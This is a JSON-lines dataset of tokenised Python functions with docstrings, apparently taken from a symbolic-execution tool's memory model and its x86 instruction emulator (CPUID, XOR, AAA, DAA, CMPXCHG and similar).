{"signature": "def mmapFile(self, addr, size, perms, filename, offset=<NUM_LIT:0>):", "body": "<EOL>assert addr is None or isinstance(addr, int), '<STR_LIT>'<EOL>assert addr < self.memory_size, '<STR_LIT>'<EOL>assert size > <NUM_LIT:0><EOL>self.cpu._publish('<STR_LIT>', addr, size, perms, filename, offset)<EOL>map = AnonMap(addr, size, perms)<EOL>self._add(map)<EOL>if addr is not None:<EOL><INDENT>addr = self._floor(addr)<EOL><DEDENT>size = self._ceil(size)<EOL>with open(filename, '<STR_LIT:rb>') as f:<EOL><INDENT>fdata = f.read()  <EOL><DEDENT>fdata = fdata[offset:]<EOL>fdata = fdata.ljust(size, b'<STR_LIT>')<EOL>for i in range(size):<EOL><INDENT>Memory.write(self, addr + i, chr(fdata[i]), force=True)<EOL><DEDENT>logger.debug('<STR_LIT>', addr, size)<EOL>self.cpu._publish('<STR_LIT>', addr, size, perms, filename, offset, addr)<EOL>return addr<EOL>", "docstring": "Creates a new file mapping in the memory address space.\n\n:param addr: the starting address (took as hint). If C{addr} is C{0} the first big enough\n             chunk of memory will be selected as starting address.\n:param size: the contents of a file mapping are initialized using C{size} bytes starting\n             at offset C{offset} in the file C{filename}.\n:param perms: the access permissions to this memory.\n:param filename: the pathname to the file to map.\n:param offset: the contents of a file mapping are initialized using C{size} bytes starting\n              at offset C{offset} in the file C{filename}.\n:return: the starting address where the file was mapped.\n:rtype: int\n:raises error:\n           - 'Address shall be concrete' if C{addr} is not an integer number.\n           - 'Address too big' if C{addr} goes beyond the limit of the memory.\n           - 'Map already used' if the piece of memory starting in C{addr} and with length C{size} isn't free.", "id": "f16973:c12:m3"}
{"signature": "def _import_concrete_memory(self, from_addr, to_addr):", "body": "logger.debug(\"<STR_LIT>\".format(from_addr, to_addr, to_addr - from_addr))<EOL>for m in self.maps:<EOL><INDENT>span = interval_intersection(m.start, m.end, from_addr, to_addr)<EOL>if span is None:<EOL><INDENT>continue<EOL><DEDENT>start, stop = span<EOL>for addr in range(start, stop):<EOL><INDENT>if addr in self.backed_by_symbolic_store:<EOL><INDENT>continue<EOL><DEDENT>self.backing_array[addr] = Memory.read(self, addr, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>self.backed_by_symbolic_store.add(addr)<EOL><DEDENT><DEDENT>", "docstring": "for each address in this range need to read from concrete and write to symbolic\nit's possible that there will be invalid/unmapped addresses in this range. need to skip to next map if so\nalso need to mark all of these addresses as now in the symbolic store\n\n:param int from_addr:\n:param int to_addr:\n:return:", "id": "f16973:c12:m5"}
{"signature": "def scan_mem(self, data_to_find):", "body": "<EOL>if isinstance(data_to_find, bytes):<EOL><INDENT>data_to_find = [bytes([c]) for c in data_to_find]<EOL><DEDENT>for mapping in sorted(self.maps):<EOL><INDENT>for ptr in mapping:<EOL><INDENT>if ptr + len(data_to_find) >= mapping.end:<EOL><INDENT>break<EOL><DEDENT>candidate = mapping[ptr:ptr + len(data_to_find)]<EOL>if issymbolic(candidate[<NUM_LIT:0>]):<EOL><INDENT>break<EOL><DEDENT>if candidate == data_to_find:<EOL><INDENT>yield ptr<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Scan for concrete bytes in all mapped memory. Successively yield addresses of all matches.\n\n:param bytes data_to_find: String to locate\n:return:", "id": "f16973:c12:m12"}
{"signature": "def _get_flags(self, reg):", "body": "def make_symbolic(flag_expr):<EOL><INDENT>register_size = <NUM_LIT:32> if reg == '<STR_LIT>' else <NUM_LIT:64><EOL>value, offset = flag_expr<EOL>return Operators.ITEBV(register_size, value,<EOL>BitVecConstant(register_size, <NUM_LIT:1> << offset),<EOL>BitVecConstant(register_size, <NUM_LIT:0>))<EOL><DEDENT>flags = []<EOL>for flag, offset in self._flags.items():<EOL><INDENT>flags.append((self._registers[flag], offset))<EOL><DEDENT>if any(issymbolic(flag) for flag, offset in flags):<EOL><INDENT>res = reduce(operator.or_, map(make_symbolic, flags))<EOL><DEDENT>else:<EOL><INDENT>res = <NUM_LIT:0><EOL>for flag, offset in flags:<EOL><INDENT>res += flag << offset<EOL><DEDENT><DEDENT>return res<EOL>", "docstring": "Build EFLAGS/RFLAGS from flags", "id": "f16975:c0:m10"}
{"signature": "def _set_flags(self, reg, res):", "body": "<EOL>for flag, offset in self._flags.items():<EOL><INDENT>self.write(flag, Operators.EXTRACT(res, offset, <NUM_LIT:1>))<EOL><DEDENT>", "docstring": "Set individual flags from a EFLAGS/RFLAGS value", "id": "f16975:c0:m11"}
{"signature": "def __init__(self, regfile, memory, *args, **kwargs):", "body": "super().__init__(regfile, memory, *args, **kwargs)<EOL>self._segments = {}<EOL>", "docstring": "Builds a CPU model.\n:param regfile: regfile object for this CPU.\n:param memory: memory object for this CPU.", "id": "f16975:c2:m0"}
{"signature": "def push(cpu, value, size):", "body": "assert size in (<NUM_LIT:8>, <NUM_LIT:16>, cpu.address_bit_size)<EOL>cpu.STACK = cpu.STACK - size // <NUM_LIT:8><EOL>base, _, _ = cpu.get_descriptor(cpu.read_register('<STR_LIT>'))<EOL>address = cpu.STACK + base<EOL>cpu.write_int(address, value, size)<EOL>", "docstring": "Writes a value in the stack.\n\n:param value: the value to put in the stack.\n:param size: the size of the value.", "id": "f16975:c2:m6"}
{"signature": "def pop(cpu, size):", "body": "assert size in (<NUM_LIT:16>, cpu.address_bit_size)<EOL>base, _, _ = cpu.get_descriptor(cpu.SS)<EOL>address = cpu.STACK + base<EOL>value = cpu.read_int(address, size)<EOL>cpu.STACK = cpu.STACK + size // <NUM_LIT:8><EOL>return value<EOL>", "docstring": "Gets a value from the stack.\n\n:rtype: int\n:param size: the size of the value to consume from the stack.\n:return: the value from the stack.", "id": "f16975:c2:m7"}
{"signature": "def invalidate_cache(cpu, address, size):", "body": "cache = cpu.instruction_cache<EOL>for offset in range(size):<EOL><INDENT>if address + offset in cache:<EOL><INDENT>del cache[address + offset]<EOL><DEDENT><DEDENT>", "docstring": "remove decoded instruction from instruction cache", "id": "f16975:c2:m8"}
{"signature": "@instruction<EOL><INDENT>def CPUID(cpu):<DEDENT>", "body": "<EOL>conf = {<NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: {<NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)},<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: {<NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)},<EOL><NUM_LIT>: {<NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL><NUM_LIT>: (<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)},<EOL>}<EOL>if cpu.EAX not in conf:<EOL><INDENT>logger.warning('<STR_LIT>', cpu.EAX, cpu.PC)<EOL>cpu.EAX, cpu.EBX, cpu.ECX, cpu.EDX = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>return<EOL><DEDENT>if isinstance(conf[cpu.EAX], tuple):<EOL><INDENT>cpu.EAX, cpu.EBX, cpu.ECX, cpu.EDX = conf[cpu.EAX]<EOL>return<EOL><DEDENT>if cpu.ECX not in conf[cpu.EAX]:<EOL><INDENT>logger.warning('<STR_LIT>', cpu.EAX, cpu.ECX)<EOL>cpu.EAX, cpu.EBX, cpu.ECX, cpu.EDX = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>return<EOL><DEDENT>cpu.EAX, cpu.EBX, cpu.ECX, cpu.EDX = conf[cpu.EAX][cpu.ECX]<EOL>", "docstring": "CPUID instruction.\n\nThe ID flag (bit 21) in the EFLAGS register indicates support for the\nCPUID instruction.  If a software procedure can set and clear this\nflag, the processor executing the procedure supports the CPUID\ninstruction. This instruction operates the same in non-64-bit modes and\n64-bit mode.  CPUID returns processor identification and feature\ninformation in the EAX, EBX, ECX, and EDX registers.\n\nThe instruction's output is dependent on the contents of the EAX\nregister upon execution.\n\n:param cpu: current CPU.", "id": "f16975:c2:m13"}
{"signature": "@instruction<EOL><INDENT>def XGETBV(cpu):<DEDENT>", "body": "<EOL>cpu.EAX, cpu.EDX = <NUM_LIT:7>, <NUM_LIT:0><EOL>", "docstring": "XGETBV instruction.\n\nReads the contents of the extended cont register (XCR) specified in the ECX register into registers EDX:EAX.\nImplemented only for ECX = 0.\n\n:param cpu: current CPU.", "id": "f16975:c2:m14"}
{"signature": "@instruction<EOL><INDENT>def AND(cpu, dest, src):<DEDENT>", "body": "<EOL>if src.size == <NUM_LIT:64> and src.type == '<STR_LIT>' and dest.size == <NUM_LIT:64>:<EOL><INDENT>arg1 = Operators.SEXTEND(src.read(), <NUM_LIT:32>, <NUM_LIT:64>)<EOL><DEDENT>else:<EOL><INDENT>arg1 = src.read()<EOL><DEDENT>res = dest.write(dest.read() & arg1)<EOL>cpu._calculate_logic_flags(dest.size, res)<EOL>", "docstring": "Logical AND.\n\nPerforms a bitwise AND operation on the destination (first) and source\n(second) operands and stores the result in the destination operand location.\nEach bit of the result is set to 1 if both corresponding bits of the first and\nsecond operands are 1; otherwise, it is set to 0.\n\nThe OF and CF flags are cleared; the SF, ZF, and PF flags are set according to the result::\n\n    DEST  =  DEST AND SRC;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m15"}
{"signature": "@instruction<EOL><INDENT>def NOT(cpu, dest):<DEDENT>", "body": "res = dest.write(~dest.read())<EOL>", "docstring": "One's complement negation.\n\nPerforms a bitwise NOT operation (each 1 is cleared to 0, and each 0\nis set to 1) on the destination operand and stores the result in the destination\noperand location::\n\n    DEST  =  NOT DEST;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m17"}
{"signature": "@instruction<EOL><INDENT>def XOR(cpu, dest, src):<DEDENT>", "body": "if dest == src:<EOL><INDENT>res = dest.write(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>res = dest.write(dest.read() ^ src.read())<EOL><DEDENT>cpu._calculate_logic_flags(dest.size, res)<EOL>", "docstring": "Logical exclusive OR.\n\nPerforms a bitwise exclusive Operators.OR(XOR) operation on the destination (first)\nand source (second) operands and stores the result in the destination\noperand location.\n\nEach bit of the result is 1 if the corresponding bits of the operands\nare different; each bit is 0 if the corresponding bits are the same.\n\nThe OF and CF flags are cleared; the SF, ZF, and PF flags are set according to the result::\n\n    DEST  =  DEST XOR SRC;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m18"}
{"signature": "@instruction<EOL><INDENT>def OR(cpu, dest, src):<DEDENT>", "body": "res = dest.write(dest.read() | src.read())<EOL>cpu._calculate_logic_flags(dest.size, res)<EOL>", "docstring": "Logical inclusive OR.\n\nPerforms a bitwise inclusive OR operation between the destination (first)\nand source (second) operands and stores the result in the destination operand location.\n\nEach bit of the result of the OR instruction is set to 0 if both corresponding\nbits of the first and second operands are 0; otherwise, each bit is set\nto 1.\n\nThe OF and CF flags are cleared; the SF, ZF, and PF flags are set according to the result::\n\n    DEST  =  DEST OR SRC;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m19"}
{"signature": "@instruction<EOL><INDENT>def AAA(cpu):<DEDENT>", "body": "cpu.AF = Operators.OR(cpu.AL & <NUM_LIT> > <NUM_LIT:9>, cpu.AF)<EOL>cpu.CF = cpu.AF<EOL>cpu.AH = Operators.ITEBV(<NUM_LIT:8>, cpu.AF, cpu.AH + <NUM_LIT:1>, cpu.AH)<EOL>cpu.AL = Operators.ITEBV(<NUM_LIT:8>, cpu.AF, cpu.AL + <NUM_LIT:6>, cpu.AL)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>cpu.AL = cpu.AL & <NUM_LIT><EOL>", "docstring": "ASCII adjust after addition.\n\nAdjusts the sum of two unpacked BCD values to create an unpacked BCD\nresult. The AL register is the implied source and destination operand\nfor this instruction. The AAA instruction is only useful when it follows\nan ADD instruction that adds (binary addition) two unpacked BCD values\nand stores a byte result in the AL register. The AAA instruction then\nadjusts the contents of the AL register to contain the correct 1-digit\nunpacked BCD result.\nIf the addition produces a decimal carry, the AH register is incremented\nby 1, and the CF and AF flags are set. If there was no decimal carry,\nthe CF and AF flags are cleared and the AH register is unchanged. In either\ncase, bits 4 through 7 of the AL register are cleared to 0.\n\nThis instruction executes as described in compatibility mode and legacy mode.\nIt is not valid in 64-bit mode.\n::\n        IF ((AL AND 0FH) > 9) Operators.OR(AF  =  1)\n        THEN\n            AL  =  (AL + 6);\n            AH  =  AH + 1;\n            AF  =  1;\n            CF  =  1;\n        ELSE\n            AF  =  0;\n            CF  =  0;\n        FI;\n        AL  =  AL AND 0FH;\n:param cpu: current CPU.", "id": "f16975:c2:m20"}
{"signature": "@instruction<EOL><INDENT>def AAD(cpu, imm=None):<DEDENT>", "body": "if imm is None:<EOL><INDENT>imm = <NUM_LIT:10><EOL><DEDENT>else:<EOL><INDENT>imm = imm.read()<EOL><DEDENT>cpu.AL += cpu.AH * imm<EOL>cpu.AH = <NUM_LIT:0><EOL>cpu._calculate_logic_flags(<NUM_LIT:8>, cpu.AL)<EOL>", "docstring": "ASCII adjust AX before division.\n\nAdjusts two unpacked BCD digits (the least-significant digit in the\nAL register and the most-significant digit in the AH register) so that\na division operation performed on the result will yield a correct unpacked\nBCD value. The AAD instruction is only useful when it precedes a DIV instruction\nthat divides (binary division) the adjusted value in the AX register by\nan unpacked BCD value.\nThe AAD instruction sets the value in the AL register to (AL + (10 * AH)), and then\nclears the AH register to 00H. The value in the AX register is then equal to the binary\nequivalent of the original unpacked two-digit (base 10) number in registers AH and AL.\n\nThe SF, ZF, and PF flags are set according to the resulting binary value in the AL register.\n\nThis instruction executes as described in compatibility mode and legacy mode.\nIt is not valid in 64-bit mode.::\n\n        tempAL  =  AL;\n        tempAH  =  AH;\n        AL  =  (tempAL + (tempAH * 10)) AND FFH;\n        AH  =  0\n\n:param cpu: current CPU.", "id": "f16975:c2:m21"}
{"signature": "@instruction<EOL><INDENT>def AAM(cpu, imm=None):<DEDENT>", "body": "if imm is None:<EOL><INDENT>imm = <NUM_LIT:10><EOL><DEDENT>else:<EOL><INDENT>imm = imm.read()<EOL><DEDENT>cpu.AH = Operators.UDIV(cpu.AL, imm)<EOL>cpu.AL = Operators.UREM(cpu.AL, imm)<EOL>cpu._calculate_logic_flags(<NUM_LIT:8>, cpu.AL)<EOL>", "docstring": "ASCII adjust AX after multiply.\n\nAdjusts the result of the multiplication of two unpacked BCD values\nto create a pair of unpacked (base 10) BCD values. The AX register is\nthe implied source and destination operand for this instruction. The AAM\ninstruction is only useful when it follows a MUL instruction that multiplies\n(binary multiplication) two unpacked BCD values and stores a word result\nin the AX register. The AAM instruction then adjusts the contents of the\nAX register to contain the correct 2-digit unpacked (base 10) BCD result.\n\nThe SF, ZF, and PF flags are set according to the resulting binary value in the AL register.\n\nThis instruction executes as described in compatibility mode and legacy mode.\nIt is not valid in 64-bit mode.::\n\n        tempAL  =  AL;\n        AH  =  tempAL / 10;\n        AL  =  tempAL MOD 10;\n\n:param cpu: current CPU.", "id": "f16975:c2:m22"}
{"signature": "@instruction<EOL><INDENT>def AAS(cpu):<DEDENT>", "body": "if (cpu.AL & <NUM_LIT> > <NUM_LIT:9>) or cpu.AF == <NUM_LIT:1>:<EOL><INDENT>cpu.AX = cpu.AX - <NUM_LIT:6><EOL>cpu.AH = cpu.AH - <NUM_LIT:1><EOL>cpu.AF = True<EOL>cpu.CF = True<EOL><DEDENT>else:<EOL><INDENT>cpu.AF = False<EOL>cpu.CF = False<EOL><DEDENT>cpu.AL = cpu.AL & <NUM_LIT><EOL>", "docstring": "ASCII Adjust AL after subtraction.\n\nAdjusts the result of the subtraction of two unpacked BCD values to  create a unpacked\nBCD result. The AL register is the implied source and destination operand for this instruction.\nThe AAS instruction is only useful when it follows a SUB instruction that subtracts\n(binary subtraction) one unpacked BCD value from another and stores a byte result in the AL\nregister. The AAA instruction then adjusts the contents of the AL register to contain the\ncorrect 1-digit unpacked BCD result. If the subtraction produced a decimal carry, the AH register\nis decremented by 1, and the CF and AF flags are set. If no decimal carry occurred, the CF and AF\nflags are cleared, and the AH register is unchanged. In either case, the AL register is left with\nits top nibble set to 0.\n\nThe AF and CF flags are set to 1 if there is a decimal borrow; otherwise, they are cleared to 0.\n\nThis instruction executes as described in compatibility mode and legacy mode.\nIt is not valid in 64-bit mode.::\n\n\n        IF ((AL AND 0FH) > 9) Operators.OR(AF  =  1)\n        THEN\n            AX  =  AX - 6;\n            AH  =  AH - 1;\n            AF  =  1;\n            CF  =  1;\n        ELSE\n            CF  =  0;\n            AF  =  0;\n        FI;\n        AL  =  AL AND 0FH;\n\n:param cpu: current CPU.", "id": "f16975:c2:m23"}
{"signature": "@instruction<EOL><INDENT>def ADC(cpu, dest, src):<DEDENT>", "body": "cpu._ADD(dest, src, carry=True)<EOL>", "docstring": "Adds with carry.\n\nAdds the destination operand (first operand), the source operand (second operand),\nand the carry (CF) flag and stores the result in the destination operand. The state\nof the CF flag represents a carry from a previous addition. When an immediate value\nis used as an operand, it is sign-extended to the length of the destination operand\nformat. The ADC instruction does not distinguish between signed or unsigned operands.\nInstead, the processor evaluates the result for both data types and sets the OF and CF\nflags to indicate a carry in the signed or unsigned result, respectively. The SF flag\nindicates the sign of the signed result. The ADC instruction is usually executed as\npart of a multibyte or multiword addition in which an ADD instruction is followed by an\nADC instruction::\n\n        DEST  =  DEST + SRC + CF;\n\nThe OF, SF, ZF, AF, CF, and PF flags are set according to the result.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m24"}
{"signature": "@instruction<EOL><INDENT>def ADD(cpu, dest, src):<DEDENT>", "body": "cpu._ADD(dest, src, carry=False)<EOL>", "docstring": "Add.\n\nAdds the first operand (destination operand) and the second operand (source operand)\nand stores the result in the destination operand. When an immediate value is used as\nan operand, it is sign-extended to the length of the destination operand format.\nThe ADD instruction does not distinguish between signed or unsigned operands. Instead,\nthe processor evaluates the result for both data types and sets the OF and CF flags to\nindicate a carry in the signed or unsigned result, respectively. The SF flag indicates\nthe sign of the signed result::\n\n        DEST  =  DEST + SRC;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m25"}
{"signature": "@instruction<EOL><INDENT>def CMP(cpu, src1, src2):<DEDENT>", "body": "arg0 = src1.read()<EOL>arg1 = Operators.SEXTEND(src2.read(), src2.size, src1.size)<EOL>cpu._calculate_CMP_flags(src1.size, arg0 - arg1, arg0, arg1)<EOL>", "docstring": "Compares two operands.\n\nCompares the first source operand with the second source operand and sets the status flags\nin the EFLAGS register according to the results. The comparison is performed by subtracting\nthe second operand from the first operand and then setting the status flags in the same manner\nas the SUB instruction. When an immediate value is used as an operand, it is sign-extended to\nthe length of the first operand::\n\n        temp  =  SRC1 - SignExtend(SRC2);\n        ModifyStatusFlags; (* Modify status flags in the same manner as the SUB instruction*)\n\nThe CF, OF, SF, ZF, AF, and PF flags are set according to the result.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m27"}
{"signature": "@instruction<EOL><INDENT>def CMPXCHG(cpu, dest, src):<DEDENT>", "body": "size = dest.size<EOL>reg_name = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:16>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[size]<EOL>accumulator = cpu.read_register(reg_name)<EOL>sval = src.read()<EOL>dval = dest.read()<EOL>cpu.write_register(reg_name, dval)<EOL>dest.write(Operators.ITEBV(size, accumulator == dval, sval, dval))<EOL>cpu._calculate_CMP_flags(size, accumulator - dval, accumulator, dval)<EOL>", "docstring": "Compares and exchanges.\n\nCompares the value in the AL, AX, EAX or RAX register (depending on the\nsize of the operand) with the first operand (destination operand). If\nthe two values are equal, the second operand (source operand) is loaded\ninto the destination operand. Otherwise, the destination operand is\nloaded into the AL, AX, EAX or RAX register.\n\nThe ZF flag is set if the values in the destination operand and\nregister AL, AX, or EAX are equal; otherwise it is cleared. The CF, PF,\nAF, SF, and OF flags are set according to the results of the comparison\noperation::\n\n(* accumulator  =  AL, AX, EAX or RAX,  depending on whether *)\n(* a byte, word, a doubleword or a 64bit comparison is being performed*)\nIF accumulator  ==  DEST\nTHEN\n    ZF  =  1\n    DEST  =  SRC\nELSE\n    ZF  =  0\n    accumulator  =  DEST\nFI;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m28"}
{"signature": "@instruction<EOL><INDENT>def CMPXCHG8B(cpu, dest):<DEDENT>", "body": "size = dest.size<EOL>cmp_reg_name_l = {<NUM_LIT:64>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>'}[size]<EOL>cmp_reg_name_h = {<NUM_LIT:64>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>'}[size]<EOL>src_reg_name_l = {<NUM_LIT:64>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>'}[size]<EOL>src_reg_name_h = {<NUM_LIT:64>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>'}[size]<EOL>cmph = cpu.read_register(cmp_reg_name_h)<EOL>cmpl = cpu.read_register(cmp_reg_name_l)<EOL>srch = cpu.read_register(src_reg_name_h)<EOL>srcl = cpu.read_register(src_reg_name_l)<EOL>cmp0 = Operators.CONCAT(size, cmph, cmpl)<EOL>src0 = Operators.CONCAT(size, srch, srcl)<EOL>arg_dest = dest.read()<EOL>cpu.ZF = arg_dest == cmp0<EOL>dest.write(<EOL>Operators.ITEBV(size, cpu.ZF,<EOL>Operators.CONCAT(size, srch, srcl),<EOL>arg_dest)<EOL>)<EOL>cpu.write_register(cmp_reg_name_l, Operators.ITEBV(size // <NUM_LIT:2>, cpu.ZF, cmpl,<EOL>Operators.EXTRACT(arg_dest, <NUM_LIT:0>, size // <NUM_LIT:2>)))<EOL>cpu.write_register(cmp_reg_name_h, Operators.ITEBV(size // <NUM_LIT:2>, cpu.ZF, cmph,<EOL>Operators.EXTRACT(arg_dest, size // <NUM_LIT:2>, size // <NUM_LIT:2>)))<EOL>", "docstring": "Compares and exchanges bytes.\n\nCompares the 64-bit value in EDX:EAX (or 128-bit value in RDX:RAX if\noperand size is 128 bits) with the operand (destination operand). If\nthe values are equal, the 64-bit value in ECX:EBX (or 128-bit value in\nRCX:RBX) is stored in the destination operand.  Otherwise, the value in\nthe destination operand is loaded into EDX:EAX (or RDX:RAX)::\n\n        IF (64-Bit Mode and OperandSize = 64)\n        THEN\n            IF (RDX:RAX = DEST)\n            THEN\n                ZF = 1;\n                DEST = RCX:RBX;\n            ELSE\n                ZF = 0;\n                RDX:RAX = DEST;\n            FI\n        ELSE\n            IF (EDX:EAX = DEST)\n            THEN\n                ZF = 1;\n                DEST = ECX:EBX;\n            ELSE\n                ZF = 0;\n                EDX:EAX = DEST;\n            FI;\n        FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m29"}
{"signature": "@instruction<EOL><INDENT>def DAA(cpu):<DEDENT>", "body": "cpu.AF = Operators.OR((cpu.AL & <NUM_LIT>) > <NUM_LIT:9>, cpu.AF)<EOL>oldAL = cpu.AL<EOL>cpu.AL = Operators.ITEBV(<NUM_LIT:8>, cpu.AF, cpu.AL + <NUM_LIT:6>, cpu.AL)<EOL>cpu.CF = Operators.ITE(cpu.AF, Operators.OR(cpu.CF, cpu.AL < oldAL), cpu.CF)<EOL>cpu.CF = Operators.OR((cpu.AL & <NUM_LIT>) > <NUM_LIT>, cpu.CF)<EOL>cpu.AL = Operators.ITEBV(<NUM_LIT:8>, cpu.CF, cpu.AL + <NUM_LIT>, cpu.AL)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>cpu.ZF = cpu.AL == <NUM_LIT:0><EOL>cpu.SF = (cpu.AL & <NUM_LIT>) != <NUM_LIT:0><EOL>cpu.PF = cpu._calculate_parity_flag(cpu.AL)<EOL>", "docstring": "Decimal adjusts AL after addition.\n\nAdjusts the sum of two packed BCD values to create a packed BCD result. The AL register\nis the implied source and destination operand. If a decimal carry is detected, the CF\nand AF flags are set accordingly.\nThe CF and AF flags are set if the adjustment of the value results in a decimal carry in\neither digit of the result. The SF, ZF, and PF flags are set according to the result.\n\nThis instruction is not valid in 64-bit mode.::\n\n        IF (((AL AND 0FH) > 9) or AF  =  1)\n        THEN\n            AL  =  AL + 6;\n            CF  =  CF OR CarryFromLastAddition; (* CF OR carry from AL  =  AL + 6 *)\n            AF  =  1;\n        ELSE\n            AF  =  0;\n        FI;\n        IF ((AL AND F0H) > 90H) or CF  =  1)\n        THEN\n            AL  =  AL + 60H;\n            CF  =  1;\n        ELSE\n            CF  =  0;\n        FI;\n\n:param cpu: current CPU.", "id": "f16975:c2:m30"}
{"signature": "@instruction<EOL><INDENT>def DAS(cpu):<DEDENT>", "body": "oldAL = cpu.AL<EOL>oldCF = cpu.CF<EOL>cpu.AF = Operators.OR((cpu.AL & <NUM_LIT>) > <NUM_LIT:9>, cpu.AF)<EOL>cpu.AL = Operators.ITEBV(<NUM_LIT:8>, cpu.AF, cpu.AL - <NUM_LIT:6>, cpu.AL)<EOL>cpu.CF = Operators.ITE(cpu.AF, Operators.OR(oldCF, cpu.AL > oldAL), cpu.CF)<EOL>cpu.CF = Operators.ITE(Operators.OR(oldAL > <NUM_LIT>, oldCF), True, cpu.CF)<EOL>cpu.AL = Operators.ITEBV(<NUM_LIT:8>, Operators.OR(oldAL > <NUM_LIT>, oldCF), cpu.AL - <NUM_LIT>, cpu.AL)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>cpu.ZF = cpu.AL == <NUM_LIT:0><EOL>cpu.SF = (cpu.AL & <NUM_LIT>) != <NUM_LIT:0><EOL>cpu.PF = cpu._calculate_parity_flag(cpu.AL)<EOL>", "docstring": "Decimal adjusts AL after subtraction.\n\nAdjusts the result of the subtraction of two packed BCD values to create a packed BCD result.\nThe AL register is the implied source and destination operand. If a decimal borrow is detected,\nthe CF and AF flags are set accordingly. This instruction is not valid in 64-bit mode.\n\nThe SF, ZF, and PF flags are set according to the result.::\n\n        IF (AL AND 0FH) > 9 OR AF  =  1\n        THEN\n            AL  =  AL - 6;\n            CF  =  CF OR BorrowFromLastSubtraction; (* CF OR borrow from AL  =  AL - 6 *)\n            AF  =  1;\n        ELSE\n            AF  =  0;\n        FI;\n        IF ((AL > 99H) or OLD_CF  =  1)\n        THEN\n            AL  =  AL - 60H;\n            CF  =  1;\n\n:param cpu: current CPU.", "id": "f16975:c2:m31"}
{"signature": "@instruction<EOL><INDENT>def DEC(cpu, dest):<DEDENT>", "body": "arg0 = dest.read()<EOL>res = dest.write(arg0 - <NUM_LIT:1>)<EOL>res &= (<NUM_LIT:1> << dest.size) - <NUM_LIT:1><EOL>SIGN_MASK = <NUM_LIT:1> << (dest.size - <NUM_LIT:1>)<EOL>cpu.AF = ((arg0 ^ <NUM_LIT:1>) ^ res) & <NUM_LIT> != <NUM_LIT:0><EOL>cpu.ZF = res == <NUM_LIT:0><EOL>cpu.SF = (res & SIGN_MASK) != <NUM_LIT:0><EOL>cpu.OF = res == SIGN_MASK<EOL>cpu.PF = cpu._calculate_parity_flag(res)<EOL>", "docstring": "Decrements by 1.\n\nSubtracts 1 from the destination operand, while preserving the state of\nthe CF flag. The destination operand can be a register or a memory\nlocation. This instruction allows a loop counter to be updated without\ndisturbing the CF flag. (To perform a decrement operation that updates\nthe CF flag, use a SUB instruction with an immediate operand of 1.) The\ninstruction's 64-bit mode default operation size is 32 bits.\n\nThe OF, SF, ZF, AF, and PF flags are set according to the result::\n\n        DEST  =  DEST - 1;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m32"}
